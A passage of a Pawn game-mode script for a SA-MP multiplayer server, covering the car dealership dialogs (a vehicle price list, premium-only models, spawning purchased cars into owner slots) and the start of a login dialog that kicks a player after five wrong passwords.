			 else if(VehModKharid[playerid] == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(VehModKharid[playerid] == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
			 new sendername[MAX_PLAYER_NAME];


				GetIDVeh(playerid,3,car,VehModKharid[playerid]);

				PlayerInfo[playerid][pCar_3] = carid;
			 SaveKonVal(playerid, "pCar_3", carid);

			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);

			 //SaveAccount(playerid);
			 return 1;
		  }
			else if(PlayerInfo[playerid][pVeh1] != 0 && PlayerInfo[playerid][pVeh2] != 0 && PlayerInfo[playerid][pVeh3] != 0 && PlayerInfo[playerid][pVeh4] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(VehModKharid[playerid] == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
			 else if(VehModKharid[playerid] == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(VehModKharid[playerid] == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
			 new sendername[MAX_PLAYER_NAME];


				GetIDVeh(playerid,4,car,VehModKharid[playerid]);

				PlayerInfo[playerid][pCar_4] = carid;
			 SaveKonVal(playerid, "pCar_4", carid);

			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);

			 //SaveAccount(playerid);
			 return 1;
		  }
			else if(PlayerInfo[playerid][pVeh1] != 0 && PlayerInfo[playerid][pVeh2] != 0 && PlayerInfo[playerid][pVeh3] != 0 && PlayerInfo[playerid][pVeh4] != 0 && PlayerInfo[playerid][pVeh5] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(VehModKharid[playerid] == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
			 else if(VehModKharid[playerid] == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(VehModKharid[playerid] == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
			 new sendername[MAX_PLAYER_NAME];


				GetIDVeh(playerid,5,car,VehModKharid[playerid]);

				PlayerInfo[playerid][pCar_5] = carid;
			 SaveKonVal(playerid, "pCar_5", carid);

			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);

			 //SaveAccount(playerid);
			 return 1;
		  }
			else if(PlayerInfo[playerid][pVeh1] != 0 && PlayerInfo[playerid][pVeh2] != 0 && PlayerInfo[playerid][pVeh3] != 0 && PlayerInfo[playerid][pVeh4] != 0 && PlayerInfo[playerid][pVeh5] != 0 && PlayerInfo[playerid][pVeh6] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(VehModKharid[playerid] == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
			 else if(VehModKharid[playerid] == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(VehModKharid[playerid] == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
			 new sendername[MAX_PLAYER_NAME];


				GetIDVeh(playerid,6,car,VehModKharid[playerid]);

				PlayerInfo[playerid][pCar_6] = carid;
			 SaveKonVal(playerid, "pCar_6", carid);

			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);


			 //SaveAccount(playerid);
			 return 1;
		  }
		  else {SCM(playerid,COLOR_SINA3,"You already have 4 cars.");}
	   }

	   else
	   {
		  SendMessage(playerid, COLOR_SINA3, "You haven't enough cash with you.");
		  PlayerPlaySound(playerid, 1053, 0.0, 0.0, 10.0);
		  return 1;
	   }
	}
	if(dialogid == 1667 && response == 1)
	{
	   new vehmodkharid;
	   switch(strval(inputtext))
	   {
	   // Old Prices SinaGamer
		  case 1: { IWantCar[playerid] = 509; PriceCar[playerid] = 1000; } // bike
		  case 2: { IWantCar[playerid] = 481; PriceCar[playerid] = 1000; }
		  case 3: { IWantCar[playerid] = 510; PriceCar[playerid] = 2000; }
		  case 4: { IWantCar[playerid] = 462; PriceCar[playerid] = 3000; }
		  case 5: { IWantCar[playerid] = 404; PriceCar[playerid] = 6000; }
		  case 6: { IWantCar[playerid] = 413; PriceCar[playerid] = 7000; }
		  case 7: { IWantCar[playerid] = 527; PriceCar[playerid] = 8000; }
		  case 8: { IWantCar[playerid] = 410; PriceCar[playerid] = 9000; }
		  case 9: { IWantCar[playerid] = 418; PriceCar[playerid] = 10000; }
		  case 10: { IWantCar[playerid] = 549; PriceCar[playerid] = 11000; }
		  case 11: { IWantCar[playerid] = 422; PriceCar[playerid] = 12000; }
		  case 12: { IWantCar[playerid] = 401; PriceCar[playerid] = 13000; }
		  case 13: { IWantCar[playerid] = 543; PriceCar[playerid] = 14000; }
		  case 14: { IWantCar[playerid] = 436; PriceCar[playerid] = 17000; }
		  case 15: { IWantCar[playerid] = 542; PriceCar[playerid] = 18000; }
		  case 16: { IWantCar[playerid] = 547; PriceCar[playerid] = 19000; }
		  case 17: { IWantCar[playerid] = 400; PriceCar[playerid] = 21000; }
		  case 18: { IWantCar[playerid] = 550; PriceCar[playerid] = 22000; }
		  case 19: { IWantCar[playerid] = 466; PriceCar[playerid] = 23000; }
		  case 20: { IWantCar[playerid] = 424; PriceCar[playerid] = 25000; }
		  case 21: { IWantCar[playerid] = 439; PriceCar[playerid] = 25000; }
		  case 22: { IWantCar[playerid] = 516; PriceCar[playerid] = 26000; }
		  case 23: { IWantCar[playerid] = 473; PriceCar[playerid] = 27000; vehmodkharid = 1; }
		  case 24: { IWantCar[playerid] = 419; PriceCar[playerid] = 29000; }
		  case 25: { IWantCar[playerid] = 467; PriceCar[playerid] = 29000; }
		  case 26: { IWantCar[playerid] = 517; PriceCar[playerid] = 32000; }
		  case 27: { IWantCar[playerid] = 474; PriceCar[playerid] = 34000; }
		  case 28: { IWantCar[playerid] = 492; PriceCar[playerid] = 36000; }
		  case 29: { IWantCar[playerid] = 518; PriceCar[playerid] = 42000; }
		  case 30: { IWantCar[playerid] = 491; PriceCar[playerid] = 43000; }
		  case 31: { IWantCar[playerid] = 496; PriceCar[playerid] = 51000; }
		  case 32: { IWantCar[playerid] = 479; PriceCar[playerid] = 58000; }
		  case 33: { IWantCar[playerid] = 526; PriceCar[playerid] = 78000; }
		  case 34: { IWantCar[playerid] = 471; PriceCar[playerid] = 83000; }
		  case 35: { IWantCar[playerid] = 545; PriceCar[playerid] = 84000; }
		  case 36: { IWantCar[playerid] = 445; PriceCar[playerid] = 90000; }
		  case 37: { IWantCar[playerid] = 412; PriceCar[playerid] = 90000; }
		  case 38: { IWantCar[playerid] = 529; PriceCar[playerid] = 114000; }
		  case 39: { IWantCar[playerid] = 540; PriceCar[playerid] = 133000; }
		  case 40: { IWantCar[playerid] = 500; PriceCar[playerid] = 146000; }
		  case 41: { IWantCar[playerid] = 603; PriceCar[playerid] = 180000; }
		  case 42: { IWantCar[playerid] = 546; PriceCar[playerid] = 184000; }
		  case 43: { IWantCar[playerid] = 458; PriceCar[playerid] = 187000; }
		  case 44: { IWantCar[playerid] = 566; PriceCar[playerid] = 194000; }
		  case 45: { IWantCar[playerid] = 405; PriceCar[playerid] = 200000; }
		  case 46: { IWantCar[playerid] = 581; PriceCar[playerid] = 205000; }
		  case 47: { IWantCar[playerid] = 421; PriceCar[playerid] = 230000; }
		  case 48: { IWantCar[playerid] = 489; PriceCar[playerid] = 235000; }
		  case 49: { IWantCar[playerid] = 463; PriceCar[playerid] = 239000; }
		  case 50: { IWantCar[playerid] = 551; PriceCar[playerid] = 240000; }
		  case 51: { IWantCar[playerid] = 468; PriceCar[playerid] = 250000; }
		  case 52: { IWantCar[playerid] = 452; PriceCar[playerid] = 260000; vehmodkharid = 1; }
		  case 53: { IWantCar[playerid] = 576; PriceCar[playerid] = 275000; }
		  case 54: { IWantCar[playerid] = 507; PriceCar[playerid] = 281000; }
		  case 55: { IWantCar[playerid] = 426; PriceCar[playerid] = 310000; }
		  case 56: { IWantCar[playerid] = 461; PriceCar[playerid] = 326000; }
		  case 57: { IWantCar[playerid] = 589; PriceCar[playerid] = 345000; }
		  case 58: { IWantCar[playerid] = 602; PriceCar[playerid] = 368000; }
		  case 59: { IWantCar[playerid] = 475; PriceCar[playerid] = 385000; }
		  case 60: { IWantCar[playerid] = 587; PriceCar[playerid] = 399000; }
		  case 61: { IWantCar[playerid] = 580; PriceCar[playerid] = 410000; }
		  case 62: { IWantCar[playerid] = 469; PriceCar[playerid] = 420000; vehmodkharid = 2; }
		  case 63: { IWantCar[playerid] = 454; PriceCar[playerid] = 455000; vehmodkharid = 1; }
		  case 64: { IWantCar[playerid] = 555; PriceCar[playerid] = 475000; }
		  case 65: { IWantCar[playerid] = 579; PriceCar[playerid] = 512000; }
		  case 66: { IWantCar[playerid] = 558; PriceCar[playerid] = 530000; }
		  case 67: { IWantCar[playerid] = 534; PriceCar[playerid] = 530000; }
		  case 68: { IWantCar[playerid] = 446; PriceCar[playerid] = 540000; vehmodkharid = 1; }
		  case 69: { IWantCar[playerid] = 533; PriceCar[playerid] = 562000; }
		  case 70: { IWantCar[playerid] = 535; PriceCar[playerid] = 596000; }
		  case 71: { IWantCar[playerid] = 536; PriceCar[playerid] = 615000; }
		  case 72: { IWantCar[playerid] = 575; PriceCar[playerid] = 625000; }
		  case 73: { IWantCar[playerid] = 565; PriceCar[playerid] = 630000; }
		  case 74: { IWantCar[playerid] = 493; PriceCar[playerid] = 630000; vehmodkharid = 1; }
		  case 75: { IWantCar[playerid] = 521; PriceCar[playerid] = 631000; }
		  case 76: { IWantCar[playerid] = 434; PriceCar[playerid] = 640000; }
		  case 77: { IWantCar[playerid] = 477; PriceCar[playerid] = 680000; }
		  case 78: { IWantCar[playerid] = 567; PriceCar[playerid] = 695000; }
		  case 79: { IWantCar[playerid] = 506; PriceCar[playerid] = 750000; }
		  case 80: { IWantCar[playerid] = 487; PriceCar[playerid] = 755000; vehmodkharid = 2; }
		  case 81: { IWantCar[playerid] = 495; PriceCar[playerid] = 768000; }
		  case 82: { IWantCar[playerid] = 402; PriceCar[playerid] = 780000; }
		  case 83: { IWantCar[playerid] = 559; PriceCar[playerid] = 785000; }
		  case 84: { IWantCar[playerid] = 480; PriceCar[playerid] = 799000; }
		  case 85: { IWantCar[playerid] = 560; PriceCar[playerid] = 830000; }
		  case 86: { IWantCar[playerid] = 562; PriceCar[playerid] = 840000; }
		  case 87: { IWantCar[playerid] = 415; PriceCar[playerid] = 860000; }
		  case 88: { IWantCar[playerid] = 451; PriceCar[playerid] = 910000; }
		  case 89: { IWantCar[playerid] = 522; PriceCar[playerid] = 940000; }
		  case 90: { IWantCar[playerid] = 429; PriceCar[playerid] = 950000; }
		  case 91: { IWantCar[playerid] = 541; PriceCar[playerid] = 1115000; }
		  case 92: { IWantCar[playerid] = 411; PriceCar[playerid] = 1250000; }
		  default: { ShowPlayerDialog(playerid, 1667, DIALOG_STYLE_INPUT,"Dealership","{FF0000}Worng Id\n{FFFFFF}Insert a Vehicle ID To Buy","Choose","Close"); return 1; }
	   }
	   new want = IWantCar[playerid];
	   if(want == 411 || want == 402 || want == 415 || want == 429 || want == 475 || want == 477 || want == 496 || want == 506 || want == 541)
	   {
		  if(PINFO[playerid][pPremiumAccount] <= 0)
		  {
			 new rouuz[256];
			 new vehk = IWantCar[playerid] - 400;
			 format(rouuz,256,"DealerShip: You can't buy a %s because you haven't premium account.",aVehicleNames[vehk]);
			 SCM(playerid,COLOR_SINA3,rouuz);
			 format(rouuz,256,"DealerShip: if you want to have a Premium account, see %s %s forum(/forum).",SERVER_NAME1, SERVER_NAME2);
			 SCM(playerid,COLOR_MAMAD,rouuz);
			 IWantCar[playerid] = 0;
			 PriceCar[playerid] = 0;
			 return 1;
		  }
	   }
	   if(want == 558 || want == 559 || want == 565 || want == 587 || want == 602)
	   {
		  if(PINFO[playerid][pPremiumAccount] <= 0)
		  {
			 new rouuz[256];
			 new vehk = IWantCar[playerid] - 400;
			 format(rouuz,256,"DealerShip: You can't buy a %s because you haven't premium account.",aVehicleNames[vehk]);
			 SCM(playerid,COLOR_SINA3,rouuz);
			 format(rouuz,256,"DealerShip: if you want to have a Premium account, see %s %s forum(/forum).",SERVER_NAME1, SERVER_NAME2);
			 SCM(playerid,COLOR_MAMAD,rouuz);
			 IWantCar[playerid] = 0;
			 PriceCar[playerid] = 0;
			 return 1;
		  }
	   }

	   new price = PriceCar[playerid];
	   if(GetPlayerPool(playerid) >= price)
	   {
				if(PlayerInfo[playerid][pVeh1] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(vehmodkharid == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
			 else if(vehmodkharid == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(vehmodkharid == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
			 new sendername[MAX_PLAYER_NAME];


				GetIDVeh(playerid,1,car,vehmodkharid);

				PlayerInfo[playerid][pCar_1] = carid;
			 SaveKonVal(playerid, "pCar_1", carid);



			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);

			 //SaveAccount(playerid);
			 return 1;
		  }
		  else if(PlayerInfo[playerid][pVeh1] != 0 && PlayerInfo[playerid][pVeh2] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(vehmodkharid == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
			 else if(vehmodkharid == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(vehmodkharid == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
			 new sendername[MAX_PLAYER_NAME];

				PlayerInfo[playerid][pCar_2] = carid;
			 SaveKonVal(playerid, "pCar_2", carid);


				GetIDVeh(playerid,2,car,vehmodkharid);


			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);

			 //SaveAccount(playerid);
			 return 1;
		  }
			else if(PlayerInfo[playerid][pVeh1] != 0 && PlayerInfo[playerid][pVeh2] != 0 && PlayerInfo[playerid][pVeh3] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(vehmodkharid == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
			 else if(vehmodkharid == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(vehmodkharid == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
			 new sendername[MAX_PLAYER_NAME];


				GetIDVeh(playerid,3,car,vehmodkharid);

				PlayerInfo[playerid][pCar_3] = carid;
			 SaveKonVal(playerid, "pCar_3", carid);

			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);

			 //SaveAccount(playerid);
			 return 1;
		  }
			else if(PlayerInfo[playerid][pVeh1] != 0 && PlayerInfo[playerid][pVeh2] != 0 && PlayerInfo[playerid][pVeh3] != 0 && PlayerInfo[playerid][pVeh4] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(vehmodkharid == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
			 else if(vehmodkharid == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(vehmodkharid == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
			 new sendername[MAX_PLAYER_NAME];


				GetIDVeh(playerid,4,car,vehmodkharid);

				PlayerInfo[playerid][pCar_4] = carid;
			 SaveKonVal(playerid, "pCar_4", carid);

			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);

			 //SaveAccount(playerid);
			 return 1;
		  }
			else if(PlayerInfo[playerid][pVeh1] != 0 && PlayerInfo[playerid][pVeh2] != 0 && PlayerInfo[playerid][pVeh3] != 0 && PlayerInfo[playerid][pVeh4] != 0 && PlayerInfo[playerid][pVeh5] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(vehmodkharid == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
			 else if(vehmodkharid == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(vehmodkharid == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
			 new sendername[MAX_PLAYER_NAME];


				GetIDVeh(playerid,5,car,vehmodkharid);

				PlayerInfo[playerid][pCar_5] = carid;
			 SaveKonVal(playerid, "pCar_5", carid);

			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);

			 //SaveAccount(playerid);
			 return 1;
		  }
			else if(PlayerInfo[playerid][pVeh1] != 0 && PlayerInfo[playerid][pVeh2] != 0 && PlayerInfo[playerid][pVeh3] != 0 && PlayerInfo[playerid][pVeh4] != 0 && PlayerInfo[playerid][pVeh5] != 0 && PlayerInfo[playerid][pVeh6] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(vehmodkharid == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
			 else if(vehmodkharid == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(vehmodkharid == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
			 new sendername[MAX_PLAYER_NAME];


				GetIDVeh(playerid,6,car,vehmodkharid);

				PlayerInfo[playerid][pCar_6] = carid;
			 SaveKonVal(playerid, "pCar_6", carid);

			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);


			 //SaveAccount(playerid);
			 return 1;
		  }
		  else {SCM(playerid,COLOR_SINA3,"You already have 4 cars.");}
	   }

	   else
	   {
		  SendMessage(playerid, COLOR_SINA3, "You haven't enough cash with you.");
		  PlayerPlaySound(playerid, 1053, 0.0, 0.0, 10.0);
		  return 1;
	   }
	}
//--------------------------
	new string[128];
	new ppName[24];
	new ahmadzoghi[128];
	GetPlayerName(playerid, ppName, sizeof(ppName));
	if(dialogid == 12346 || dialogid == 12347)
	{
	   if(response)
	   {
	   if(!strlen(inputtext))
	   {
	   new loginstring[128];
	   format(loginstring,sizeof(loginstring),"Password doesn't match your name!\n\nPlease reEnter your password below to login into your account.");
	   ShowPlayerDialog(playerid,12347,DIALOG_STYLE_PASSWORD,"Login",loginstring,"Login","Exit");
	   gPlayerLogTries[playerid] ++;
	   if(gPlayerLogTries[playerid] >= 5) {
       format(ahmadzoghi, sizeof(ahmadzoghi), "{ffffff}Player %s entered wrong password 5 times on login (Kicked)",RPName(playerid));
       AdminWarn(ahmadzoghi);
	   SCM(playerid, COLOR_LIGHTRED,"You have been kicked, reason: Incorrect Password 5/5");
	   KickPlayerMessage(playerid);
	   }
	   return 1;
	   }
		  new passer[129];
